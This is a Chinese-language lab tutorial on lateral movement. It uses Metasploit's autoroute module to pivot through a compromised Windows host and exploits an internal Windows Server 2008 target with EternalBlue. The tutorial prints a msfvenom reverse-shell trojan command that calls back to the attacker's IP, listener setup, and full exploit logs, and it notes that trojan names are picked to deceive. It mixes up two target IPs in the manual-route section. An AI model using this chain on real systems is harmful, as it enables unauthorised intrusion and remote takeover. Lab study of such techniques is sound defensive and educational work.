目录
[1、生成MSF windows反向木马](#1、生成MSF windows反向木马)
本文使用MSF的autoroute模块实现内网的横向渗透,实现攻击机通过跳板机,实现对内网靶机的永恒之蓝(CVE-2017-0144)渗透测试,涉及到的三个角色的IP地址配置如下所示。
| 角色 | IP 地址 | 描述 |
| 攻击机 (Attacker) | 10.23.134.128 | Kali Linux, 操作者所在的机器。安装了Metasploit、Nmap等渗透测试工具,是所有攻击的发起源。 |
| 跳板机 (Pivot) | 10.23.134.1 10.100.10.1 | Windows 11,已被控制的双网卡主机。 连接外部网络(10.23.134.0/24)和内部目标网络(10.100.10.0/24)的桥梁 |
| 内网靶机 (Target) | 10.100.10.129 |
Windows sever2008,最终目标。位于内部网络,无法从互联网直接访问。需要先控制跳板机,才能对其发起攻击。 |
|---|
其中Kali攻击机可以连接跳板机,但是无法直接连接内网靶机。当前目标是使用MSF永恒之蓝模块和MSF木马路由功能,通过跳板机攻击双层网络中的Window server2008的内网靶机。

graph LR
A[攻击机 Attacker<br>10.23.134.128]
P[跳板机 Pivot]
T[内网靶机 Target<br>10.100.10.129]
A -- "网卡1: 10.23.134.1<br>(外部网络)" --> P
P -- "网卡2: 10.100.10.1<br>(内部网络)" --> T
style A fill:#ffcccc
style P fill:#ccccff
style T fill:#ccffcc
一、MSF的autoroute模块
1、模块简介
autoroute模块是MSF框架中自带的一个路由转发功能的后期利用 (post-exploitation) 模块,其官方路径为 post/multi/manage/autoroute,实现过程是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往"内网"的路由,从而实现通过一个已被攻陷的主机(称为"跳板机"或"立足点")去访问其所在内部网络的其他网段。
当攻击者仅控制一台 "跳板机"(如公网暴露的 Web 服务器),但需要访问跳板机背后的内网(如 192.168.1.0/24、10.0.0.0/8 等私有网段)时,直接访问会因 "路由不可达或者防火墙安全策略导致" 失败。autoroute 的作用是:在 MSF 会话中添加一条 "临时路由规则",让 MSF 后续所有模块(如端口扫描、漏洞利用)的流量,都通过已建立的跳板机会话转发到目标内网,实现 "借道访问"。
2、工作原理
- 前提条件 :攻击者已通过漏洞利用(如 exploit/multi/handler 监听反弹 shell)获取跳板机的MSF 会话(Session),且会话处于活跃状态。
- 路由添加:通过 autoroute 模块,指定 "目标内网网段" 和 "对应的跳板机会话 ID",MSF 会在本地生成路由表,将目标网段的流量绑定到该会话。
- 流量转发:后续使用 MSF 模块(如 auxiliary/scanner/portscan/tcp)扫描内网时,流量会先发送到跳板机,由跳板机转发到内网目标,再将响应结果通过跳板机回传至攻击者,实现 "透明转发"。
3、配置步骤
(1)加载autoroute模块手动添加
在Metasploit主提示符下,使用 use 命令加载模块。具体命令如下所示。
msf6 > use post/multi/manage/autoroute
(2)查看并设置模块参数
使用 show options 查看需要设置的参数,具体命令如下所示。
msf6 post(multi/manage/autoroute) > show options
Module options (post/multi/manage/autoroute):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD autoadd yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
SESSION yes The session to run this module on
SUBNET no Subnet (IPv4, for example, 10.10.10.0)
其中最重要的参数是 SESSION,它指定了哪个已存在的会话将被用作跳板。
| 参数名 | 作用说明 | 示例配置 |
|---|---|---|
| SESSION | 指定 "跳板机的会话 ID"(必须正确,否则路由失效) | set SESSION 1 |
| SUBNET | 指定 "目标内网网段"(支持 CIDR 格式,如 x.x.x.x/24) | set SUBNET 192.168.1.0/24 |
| NETMASK | 子网掩码(可选,默认根据 SUBNET 自动匹配) | set NETMASK 255.255.255.0 |
(3)方法1:手动添加
#在全局给指定的session增删路由(手动指定)
route add 10.100.10.0 255.255.255.0 1 #在session1中添加到达10.100.10.0网段的路由
route del 192.168.12.0 255.255.255.0 2 #在session2中删除到达192.168.12.0网段的路由
route print #打印路由信息
#也可以在进入session下添加路由(手动指定)
run autoroute -s 10.100.10.0/24 #添加到达10.100.10.0网段的路由(CIDR格式添加)
run autoroute -s 10.100.10.0 -n 255.255.255.0 #添加到达10.100.10.0网段的路由(指定子网掩码进行添加)
run autoroute -p #打印路由信
(4)方法2:自动探测
若不清楚跳板机所在的内网网段,可使用autoroute -s(或模块参数AUTO_ADD)自动探测并添加所有可达网段。该模块会查询你已控机器的ARP缓存和路由表通过分析这些网络信息,它会自动发现与该机器通信的其他网段,它会将这些新发现的网络段自动添加到Metasploit框架的内置路由表中)。
# 方法1:通过命令行直接添加(无需加载模块)
msf6 > run post/multi/manage/autoroute SESSION=1 AUTO_ADD=true # 自动探测跳板机可达的所有网段并添加路由
# 方法2:也可以在进入session下直接添加,当在Meterpreter 会话内部直接运行run post/multi/manage/autoroute时,模块会默认开启AUTO_ADD=true
meterpreter > run post/multi/manage/autoroute
# 方法3:模块内配置
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set AUTO_ADD true # 开启自动探测
msf6 post(multi/manage/autoroute) > run
二、攻击机控制跳板机
1、生成MSF windows反向木马
生成一个名为 128.exe 的Windows木马文件。当这个文件在目标电脑上被运行时,它会主动发起一个TCP连接,回连到IP为 10.23.134.128 的机器的 4444 端口。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.23.134.128 LPORT=4444 -f exe -o 128.exe
| 命令部分 | 含义 | 解释 |
|---|---|---|
msfvenom |
主程序 | Metasploit框架中用于生成Payload(攻击载荷)的工具。 |
-p windows/x64/meterpreter/reverse_tcp |
指定Payload类型 | -p 是 payload 的缩写。windows/x64/meterpreter/reverse_tcp 指定了要生成的Payload的具体类型: - windows: 目标平台为Windows。 - x64: 目标系统架构为64位。 - meterpreter: 使用Metasploit的高级、内存驻留型Payload。 - reverse_tcp: 连接方式为反向TCP连接(木马会主动连接攻击者)。 |
LHOST=10.23.134.128 |
设置监听主机 | L istening HOST 。这是最关键参数之一 。告诉生成的木马程序:"成功运行后,你要主动回连到哪个IP地址" 。这里指定的是攻击者(Kali机器)的IP地址。 |
LPORT=4444 |
设置监听端口 | L istening PORT 。告诉木马程序:"你要回连到攻击者机器的哪个端口" 。4444 是Metasploit默认的监听端口。 |
-f exe |
指定输出格式 | -f 是 format 的缩写。exe 表示将Payload封装成一个标准的Windows可执行文件(.exe)。 |
-o 128.exe |
指定输出文件名 | -o 是 out 的缩写。128.exe 是生成的木马文件的保存名称。这个名字通常起得具有迷惑性,以便诱骗目标运行 |

2、MSF监听
Metasploit Framework 中设置一个反向****TCP 监听器,配置如下所示。
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.23.134.128
set LPORT 4444
run
-
use exploit/multi/handler:这是一个万能监听器 。它本身不是一个漏洞利用程序,而是一个用于接收传入连接 的模块。当Payload在目标机器上被执行后,这个模块负责处理连接并为你提供一个会话(Session)。它是接收reverse_tcp、reverse_http等反向连接Payload的"服务器端"。 -
set PAYLOAD windows/x64/meterpreter/reverse_tcp:设置要处理的Payload类型,需要与生成的木马完全一致的Payload类型 。这里设置为windows/x64/meterpreter/reverse_tcp,意味着监听器准备接收来自64位Windows系统的、基于TCP的反向Meterpreter连接。 -
set LHOST 10.23.134.128:设置 L istening HOST(监听主机)的IP地址 -
set LPORT 4444:设置ListeningPORT(监听端口),必须与生成木马时使用的LPORT值完全相同。
执行run后Metasploit会在你的Kali机器(10.23.134.128)上绑定TCP端口 4444,并开始等待传入连接。

3、将木马上传到跳板机并运行
将木马128.exe上传到跳板机中并运行,当这个文件在跳板机中被运行时,它会主动发起一个TCP连接 ,回连到IP为 10.23.134.128 的攻击机的 4444 端口,此时查看kali攻击机MSF的监听效果如下所示,已经成功建立shell连接。
三、通过自动配置Autoroute模块横向渗透
1、自动探测配置
在Meterpreter 的session会话内部执行run post/multi/manage/autoroute命令,此时模块会默认开启AUTO_ADD=true,也就是说模块会通过当前SESSION=1会话对应的跳板机,自动探测其能访问的所有内网网段,并将,并将这些网段自动添加到 MSF 路由表中,其运行结果如下所示。
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: windows
[*] Running module against DESKTOP-BKAQPQQ
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.23.134.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 10.100.10.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 10.192.0.0/255.255.224.0 from host's routing table.
[+] Route added to subnet 192.168.59.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 169.254.0.0/255.255.0.0 from Microsoft Wi-Fi Direct Virtual Adapter.
[+] Route added to subnet 192.168.137.0/255.255.255.0 from Intel(R) Wireless-AC 9560 160MHz.
通过autoroute模块执行结果来看,这是一次成功的内网路由自动添加操作。 模块通过当前 Meterpreter 会话(主机名为DESKTOP-BKAQPQQ),自动探测并添加了以下内网网段的路由。
10.23.134.0/24 # 来自主机路由表
10.100.10.0/24 # 来自主机路由表
10.192.0.0/19(子网掩码255.255.224.0) # 来自主机路由表
192.168.59.0/24 # 来自主机路由表
169.254.0.0/16(子网掩码255.255.0.0) # 来自Wi-Fi直连虚拟适配器
192.168.137.0/24 # 来自Intel无线网卡
接下来通过run autoroute -p查看路由表,运行结果如下所示。Active Routing Table(活跃路由表)显示了通过Session 1(跳板机会话)添加的所有内网路由,共 6 条。这其中就包括我们的内网渗透目标10.100.10.0/24网段所在的靶机10.100.10.129。

将已经获得的跳板机的Meterpreter会话(其会话ID为 1)切换到后台,使用 background 命令,具体命令如下所示。
meterpreter > background
[*] Backgrounding session 1...
2、攻击机配置MSF
通过 MSF 利用永恒之蓝漏洞攻击内网主机。先加载 ms17_010_eternalblue 模块,设 bind_tcp payload,指定目标 IP 10.100.10.129 和监听端口 7777,执行后尝试让目标开放 7777 端口并建立连接,以获取 Meterpreter 会话,依赖此前 autoroute 添加的路由通过跳板机转发流量。
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.100.10.129
set LPORT 7777
-
use exploit/windows/smb/ms17_010_eternalblue加载针对 MS17-010 漏洞的永恒之蓝 exploit 模块,该漏洞主要影响 Windows 7、Windows Server 2008 等系统。 -
set payload windows/x64/meterpreter/bind_tcp指定攻击成功后在目标主机上运行的 payload:64 位 Windows 系统的 Meterpreter 绑定型 TCP shell(bind_tcp)。 -
set RHOST 10.100.10.129设置目标主机 IP 为10.100.10.129(从之前的路由表可知,该 IP 属于通过 Session 1 可达的内网网段)。 -
set LPORT 7777设置目标主机上 bind_tcp 监听的端口为 7777(攻击者后续会连接此端口)。
使用show options查看配置内容,具体如下所示。

3、执行run开启攻击
使用run开启永恒之蓝攻击,如下所示成功反弹shell,接下来输入ipconfig查到目标主机的ip地址为10.100.10.129,说明成功通过跳板机攻击成功。
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] 10.100.10.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.100.10.129:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 10.100.10.129:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.100.10.129:445 - The target is vulnerable.
[*] 10.100.10.129:445 - Connecting to target for exploitation.
[+] 10.100.10.129:445 - Connection established for exploitation.
[+] 10.100.10.129:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.100.10.129:445 - CORE raw buffer dump (53 bytes)
[*] 10.100.10.129:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.100.10.129:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris
[*] 10.100.10.129:445 - 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P
[*] 10.100.10.129:445 - 0x00000030 61 63 6b 20 31 ack 1
[+] 10.100.10.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.100.10.129:445 - Trying exploit with 12 Groom Allocations.
[*] 10.100.10.129:445 - Sending all but last fragment of exploit packet
[*] 10.100.10.129:445 - Starting non-paged pool grooming
[+] 10.100.10.129:445 - Sending SMBv2 buffers
[+] 10.100.10.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.100.10.129:445 - Sending final SMBv2 buffers.
[*] 10.100.10.129:445 - Sending last fragment of exploit packet!
[*] 10.100.10.129:445 - Receiving response from exploit packet
[+] 10.100.10.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.100.10.129:445 - Sending egg to corrupted connection.
[*] 10.100.10.129:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 10.100.10.129:7777
[-] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.100.10.129:445 - Connecting to target for exploitation.
[+] 10.100.10.129:445 - Connection established for exploitation.
[+] 10.100.10.129:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.100.10.129:445 - CORE raw buffer dump (53 bytes)
[*] 10.100.10.129:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.100.10.129:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris
[*] 10.100.10.129:445 - 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P
[*] 10.100.10.129:445 - 0x00000030 61 63 6b 20 31 ack 1
[+] 10.100.10.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.100.10.129:445 - Trying exploit with 17 Groom Allocations.
[*] 10.100.10.129:445 - Sending all but last fragment of exploit packet
[*] 10.100.10.129:445 - Starting non-paged pool grooming
[+] 10.100.10.129:445 - Sending SMBv2 buffers
[+] 10.100.10.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.100.10.129:445 - Sending final SMBv2 buffers.
[*] 10.100.10.129:445 - Sending last fragment of exploit packet!
[*] 10.100.10.129:445 - Receiving response from exploit packet
[+] 10.100.10.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.100.10.129:445 - Sending egg to corrupted connection.
[*] 10.100.10.129:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.100.10.129
[*] Meterpreter session 2 opened (10.100.10.1:54774 -> 10.100.10.129:7777 via session 1) at 2025-09-03 01:29:54 -0400
[+] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:f1:c1:0e
MTU : 1500
IPv4 Address : 10.100.10.129
IPv4 Netmask : 255.255.255.0
Interface 12
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:a64:a81
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
四、通过手动配置Autoroute模块横向渗透
为与前面第三步区分开,此时结束之前的session,使用sessions确认当前已无session会话,接下来我们使用手动配置autoroute的方式重新进行横向渗透。
1、MSF与128.exe建立反弹shell
Metasploit Framework 中再次设置一个反向****TCP 监听器,如下所示。
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.23.134.128
set LPORT 4444
run
将128.exe上传到跳板机运行,此时kali攻击机成功建立反弹shell,如下所示。

2、手动配置路由
在当前 Meterpreter 会话(session3)中执行**run autoroute -s 10.100.10.100 -n 255.255.255.0**,意为通过该会话添加一条路由规则:将目标网段10.100.10.0/24(子网掩码 255.255.255.0)与 session3 绑定,使 MSF 后续针对该网段的流量通过此会话(跳板机)转发,实现对该内网网段的访问。

通过autoroute模块执行结果来看,这是一次成功的内网路由添加操作, 将网段 10.100.10.100/24(子网掩码 255.255.255.0)与 Session 3 绑定**。**接下来通过run autoroute -p查看路由表,运行结果如下所示。说明路由表中已新增该条目,表明 MSF 后续访问此网段的流量会通过 Session 3 对应的跳板机进行转发。

将已经获得的跳板机的Meterpreter会话(其会话ID为 3)切换到后台,使用 background 命令,具体命令如下所示。
meterpreter > background
[*] Backgrounding session 3...
3、Kali横向移动进行永恒之蓝攻击
通过 MSF 对 10.100.10.129 这一内网主机发起永恒之蓝漏洞攻击,先加载 ms17_010_eternalblue 模块,配置 bind_tcp 载荷,指定目标 IP为10.100.10.100 及监听端口 7777。执行后,攻击流量借助此前 autoroute 添加的路由经跳板机转发,尝试让目标主机开放 7777 端口并建立连接,最终获取 Meterpreter 会话以实现控制。
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.100.10.129
set LPORT 7777
run
使用run开启永恒之蓝攻击,如下所示成功反弹shell,接下来输入ipconfig查到目标主机的ip地址为10.100.10.129,说明成功通过跳板机攻击成功。


